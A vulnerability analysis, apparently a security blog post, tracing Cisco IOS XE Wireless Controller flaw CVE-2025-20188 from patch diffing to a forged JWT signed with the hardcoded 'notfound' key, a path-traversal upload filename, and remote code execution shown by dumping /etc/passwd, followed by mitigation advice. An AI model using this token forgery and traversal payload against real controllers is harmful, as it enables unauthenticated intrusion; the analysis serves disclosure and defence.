Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Quick Overview

This article analyzes the arbitrary file upload vulnerability in <span>Cisco IOS XE Wireless Controller Software</span> version <span>17.12.03</span> and earlier versions (<span>CVE-2025-20188</span>). The vulnerability arises from a hardcoded <span>JSON Web Token (JWT)</span>, allowing unauthenticated attackers to upload arbitrary files. Here are the key technical points:

  • Root Cause of the Vulnerability: By comparing the vulnerable version and the patched version of the image files, a hardcoded <span>JWT</span> key mechanism was discovered. The script <span>ewlc_jwt_verify.lua</span> uses a default value <span>notfound</span> when the key file <span>/tmp/nginx_jwt_key</span> is missing, leading to a forgeable <span>JWT</span>.
  • Attack Path: By exploiting the upload endpoint <span>/ap_spec_rec/upload/</span> on the <span>OpenResty</span> platform, combined with path traversal (<span>../</span>), files can be uploaded to target directories such as <span>/usr/binos/openresty/nginx/html/</span> without authentication.
  • RCE Implementation: By uploading a malicious configuration file to overwrite the target directory and triggering services monitored by <span>inotifywait</span> (such as <span>pvp.sh</span>) to reload configurations, commands can ultimately be executed to gain system privileges (e.g., reading <span>/etc/passwd</span>).
  • Mitigation Measures: Upgrade to the latest version or disable the <span>Out-of-Band AP Image Download</span> feature, using the <span>CAPWAP</span> method to update the image.
Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Analysis of Cisco IOS XE WLC Arbitrary File Upload Vulnerability (CVE-2025-20188)

Recently, Cisco disclosed a vulnerability affecting <span>Cisco IOS XE Wireless Controller Software</span> version 17.12.03 and earlier. This issue is described as an unauthenticated arbitrary file upload vulnerability, stemming from a hardcoded <span>JSON Web Token (JWT)</span>.

<span>Cisco IOS XE Wireless LAN Controller (WLC)</span> is a widely deployed enterprise solution for managing and controlling large-scale wireless networks. As part of the <span>Cisco IOS XE</span> operating system, it provides centralized management, policy enforcement, and seamless mobility support for wireless access points in campus and branch environments.

Our goal is to trace the root of this vulnerability by comparing the image files of the vulnerable version and the patched version. We first obtained the <span>C9800-CL-universalk9.17.12.03.iso</span> and <span>C9800-CL-universalk9.17.12.04.iso</span> image files. Within these ISO archives, we discovered two <span>.pkg</span> files. While the <span>file</span> command did not provide much information, the <span>binwalk</span> tool proved useful.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Great! This confirmed that the file system we extracted and explored is usable.

The preliminary exploration of the file system showed that the core components of the web application are located in the <span>/var/www</span> and <span>/var/scripts</span> directories. Further inspection of the files revealed that the application is built on <span>OpenResty</span>, a web platform that integrates <span>Lua</span> with <span>Nginx</span>.

We loaded the directories of the vulnerable and patched versions into the diffing extension of VS Code, browsing through each directory to identify relevant file differences. Significant changes were found in the <span>ewlc_jwt_verify.lua</span> and <span>ewlc_jwt_upload_files.lua</span> files located in the <span>/var/scripts/lua/features/</span> directory. Given that this vulnerability relates to <span>JWT</span> processing, and these files reference <span>JWT</span> tokens and related keys, it strongly indicates that we are investigating the correct components.

To determine how and where these <span>Lua</span> scripts are called, we performed a simple <span>grep</span> search in the codebase.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

In the <span>/usr/binos/conf/nginx-conf/https-only/ap-conf/ewlc_auth_jwt.conf</span> file, we see:

location /aparchive/upload {
    add_header X-Content-Type-Options nosniff;
    add_header X-XSS-Protection "1; mode=block";
    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;
    charset utf-8;
    client_max_body_size 1536M;
    client_body_buffer_size 5000K;

    set $upload_file_dst_path "/bootflash/completeCDB/";
    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;
    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;
}

# AP spectrum recording upload location block
location /ap_spec_rec/upload/ {
    add_header X-Content-Type-Options nosniff;
    add_header X-XSS-Protection "1; mode=block";
    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;
    charset utf-8;
    client_max_body_size 500M;
    client_body_buffer_size 5000K;
    set $upload_file_dst_path "/harddisk/ap_spectral_recording/";
    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;
    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;
} 

This reveals the endpoints related to uploads, utilizing <span>ewlc_jwt_verify.lua</span> and <span>ewlc_jwt_upload_files.lua</span> in the backend—perfect!

The second configuration block indicates that the <span>/ap_spec_rec/upload/</span> endpoint is first processed by <span>ewlc_jwt_verify.lua</span> as an access phase handler. If the request passes validation, it is forwarded to <span>ewlc_jwt_upload_files.lua</span> to handle the actual upload operation. For more details on each directive, refer to the OpenResty documentation.

<span>ewlc_jwt_verify.lua</span> script reads a key from <span>/tmp/nginx_jwt_key</span> and uses it to verify the <span>JWT</span> provided via the <span>Cookie</span> header or <span>jwt</span> URI parameter. If the key is missing, <span>secret_read</span> is set to <span>notfound</span>, which appears to be part of the hardcoded <span>JWT</span> mechanism we are investigating.

-- ewlc_jwt_verify.lua
local jwt       = require "resty.jwt"
local jwt_token = ngx.var.arg_jwt

if jwt_token then
    ngx.header['Set-Cookie'] = "jwt=" .. jwt_token
else
    jwt_token = ngx.var.cookie_jwt
end

local secret_read = ""
local key_fh = io.open("/tmp/nginx_jwt_key","r")
if ( key_fh ~= nil )
then
    io.input(key_fh)
    secret_read = io.read("*all")
    io.close(key_fh)
else
    secret_read = "notfound"
end
local jwt_comm_secret = tostring(secret_read)

local jwt_obj = jwt:verify(jwt_comm_secret, jwt_token)

if not jwt_obj["verified"] then
    local site = ngx.var.scheme .. "://" .. ngx.var.http_host;
    local args = ngx.req.get_uri_args();

    ngx.status = ngx.HTTP_UNAUTHORIZED
    ngx.say(jwt_obj.reason);
    ngx.exit(ngx.HTTP_OK)
end

To determine where the <span>JWT</span> was originally generated, we ran some <span>grep</span> commands and eventually found <span>/var/scripts/lua/features/ewlc_jwt_get.lua</span>.

-- ewlc_jwt_get.lua
local jwt = require "resty.jwt"
local json = require 'cjson'
local req_id = ngx.req.get_headers()["JWTReqId"]
local tcount = os.time()

-- Set expiration time to 5 minutes
tcount = tcount+300

local secret = ""
local secret_sz =  64
local in_fh = io.open("/tmp/nginx_jwt_key","r")
if ( in_fh ~= nil )
then
    io.input(in_fh)
    secret = io.read("*all")
    io.close(in_fh)
else
    local random = require "resty.random".bytes
    secret = random(secret_sz, true)
    if secret == nil then
        secret = random(secret_sz)
    end
    local key_fh = io.open("/tmp/nginx_jwt_key","w")
    if ( key_fh ~= nil ) then
        io.output(key_fh)
        io.write(secret)
        io.close(key_fh)
    end
end
local jwt_comm_secret = tostring(secret)

-- Generate JWT key
local jwt_gen_token = jwt:sign(
        jwt_comm_secret,
        {
            header={typ="JWT", alg="HS256"},
            payload={reqid=req_id, exp=tcount }
        }
    )
local response = {token = jwt_gen_token}
return ngx.say(json.encode(response))

This script reads the key from <span>/tmp/nginx_jwt_key</span> if it exists; otherwise, it generates a key by writing a 64-character byte string. It then uses <span>jwt:sign()</span> to create a <span>JWT</span> whose payload includes the <span>JWTReqId</span> header and an expiration timestamp.

To better understand how the flow works, we attempted to manually construct a <span>JWT</span>. First, we need to know the source of the <span>JWTReqId</span>. By further searching in the codebase with <span>grep</span>, we can find relevant information.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Interestingly, this header information is constructed in an ELF shared library:<span>/usr/binos/lib64/libewlc_apmgr.so</span>. To dig deeper, we searched for the <span>JWTReqId</span> string in <span>IDA Pro</span>, which led us to the <span>ewlc_apmgr_jwt_request</span> function. This gave us a clearer understanding of how the <span>JWT</span> is generated internally.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

The assembly code above shows that the header string is constructed using <span>snprintf</span>. Here’s a useful tip: you can leverage large language models (LLMs) to investigate the source of the <span>s</span> variable, which is part of the header string—especially if you want to avoid statically tracing it through the binary.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Great! By cross-referencing the calls to <span>ewlc_apmgr_jwt_request</span>, we found only one reference!

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Awesome, the <span>JWTReqId</span> header contains <span>cdb_token_request_id1</span>.

You can try modifying and running the <span>Lua</span> script to generate a <span>JWT</span>, or convert it to <span>Python</span> code (LLMs can also help with this step).

import os
import time
import jwt

tcount = int(time.time()) + 300

req_id = 'cdb_token_request_id1'

jwt_comm_secret = os.urandom(64)
jwt_gen_token = jwt.encode(
    {"reqid": req_id, "exp": tcount},
    jwt_comm_secret,
    algorithm="HS256",
    headers={"typ": "JWT"}
)

print(jwt_gen_token)

Let’s try to access the upload endpoint using the <span>JWT</span>.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Strange.

We recalled that the announcement mentioned the need to enable the <span>Out-of-Band AP Image Download</span> feature. After some research, we found that this can be enabled by navigating to <span>Configuration → Wireless Global</span>, in the <span>AP Image Upgrade</span> section.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

This appears to be a standalone service running on port <span>8443</span>, so we enabled the feature and retried our request using the new port.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Success—we received a response! This is a <span>401 Unauthorized</span> error, accompanied by a signature mismatch error message. This was expected, as if the <span>JWT</span> is not signed with the correct key, <span>jwt:verify()</span> will fail. To proceed, we need to regenerate the <span>JWT</span> using the <span>notfound</span> key.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Perfect—we got a response. This endpoint is handled by the script located at <span>/var/scripts/lua/features/ewlc_jwt_upload_files.lua</span>.

-- ewlc_jwt_upload_files...if method == "POST" then
    while true do
        local typ, req, err = form:read()
        if not typ then
            ngx.say("failed to read: ", err)
            return
        end

        if typ == "header" then
            local file_name = getFileName(req)
            if not utils.isNil(file_name) then
                if not file then
                    file, err = io.open(location..file_name, "w+")
                    if not file then
                        return
                    end
                end
            end
        elseif typ == "body" then
            if file then
                file:write(req)
            end
        elseif typ == "part_end" then
            if file then
                file:close()
                file = nil
            end
        elseif typ == "eof" then
            break
        end
    end
else
    ngx.say("Method Not Allowed")
    ngx.exit(405)
end

The file will be written to <span>location .. file_name</span>, where <span>location</span> is defined in the configuration file as <span>/harddisk/ap_spectral_recording/</span>, specifically:<span>set $upload_file_dst_path /harddisk/ap_spectral_recording/;</span>

No measures are in place to prevent us from using <span>..</span> for path traversal, so the next question is: where should we place the file? Accessing <span>https://10.0.23.70:8443/</span> shows the default <span>OpenResty</span> homepage. This page is served from <span>/usr/binos/openresty/nginx/html</span>, making it a logical target location—we will attempt to place the file there. Notably, this service does not require authentication, making it an ideal target for exploiting the upload path.

<span>filename="../../usr/binos/openresty/nginx/html/foo.txt"</span>

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Success!

Achieving Remote Code Execution (RCE)

Now the only thing left is to find a reliable way to leverage this upload vulnerability for code execution. There may be multiple ways to achieve this, and for brevity, we will skip many details.

One direction we decided to explore is leveraging the service of <span>inotifywait</span>, a tool that allows monitoring file events in a specified directory. After delving into these services, we discovered an internal process management service (<span>pvp.sh</span>) that waits for files to be written to a specific directory. Once a change is detected, it can trigger a service reload based on the commands specified in the service configuration file.

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

pvp.sh Code Snippet

In short, to achieve <span>RCE</span>, we need to:

  • • Overwrite the existing configuration file with our own command.
  • • Upload a new file to trigger the service reload.
  • • Check for success.
Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Modified Configuration File

Analysis of Cisco IOS XE Wireless Controller File Upload Vulnerability CVE-2025-20188

Trigger File

<span># curl -k https://10.0.23.70/webui/login/etc_passwd root:*:0:0:root:/root:/bin/bash binos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin/bin/sync shutdown:x:6:0:shutdown:/sbin/sbin/shutdown halt:x:7:0:halt:/sbin/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin messagebus:x:998:997::/var/lib/dbus:/bin/false avahi:x:997:996::/var/run/avahi-daemon:/bin/false avahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false guestshell:!:1000:1000::/home/guestshell: qemu:x:1001:1001:qemu::/sbin/nologin dockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin</span>

Output Verification

Note: In our tests on a fresh <span>WLC</span> installation, even without explicitly enabling the <span>AP Image Upgrade</span> feature, the <span>8443</span> port is open by default. This indicates that the service may be enabled in the default installation, and at least in the <span>C9800</span> series version we tested, the vulnerable endpoint is accessible.

Mitigation Measures

The best mitigation is to upgrade to the latest version, as <span>Cisco</span> has already fixed the issue. However, if an immediate upgrade is not possible, <span>Cisco</span> recommends that administrators disable the <span>Out-of-Band AP Image Download</span> feature. Once this feature is disabled, AP image downloads will use the <span>CAPWAP</span> method for AP image updates, which will not affect the AP client state. <span>Cisco</span> strongly advises implementing this mitigation before an upgrade can be performed.

Conclusion

The analysis of this vulnerability in <span>Cisco IOS XE WLC</span> reveals how hardcoded keys, insufficient input validation, and exposed endpoints combine to create significant security risks—even in widely deployed enterprise-grade infrastructure.

Leave a Comment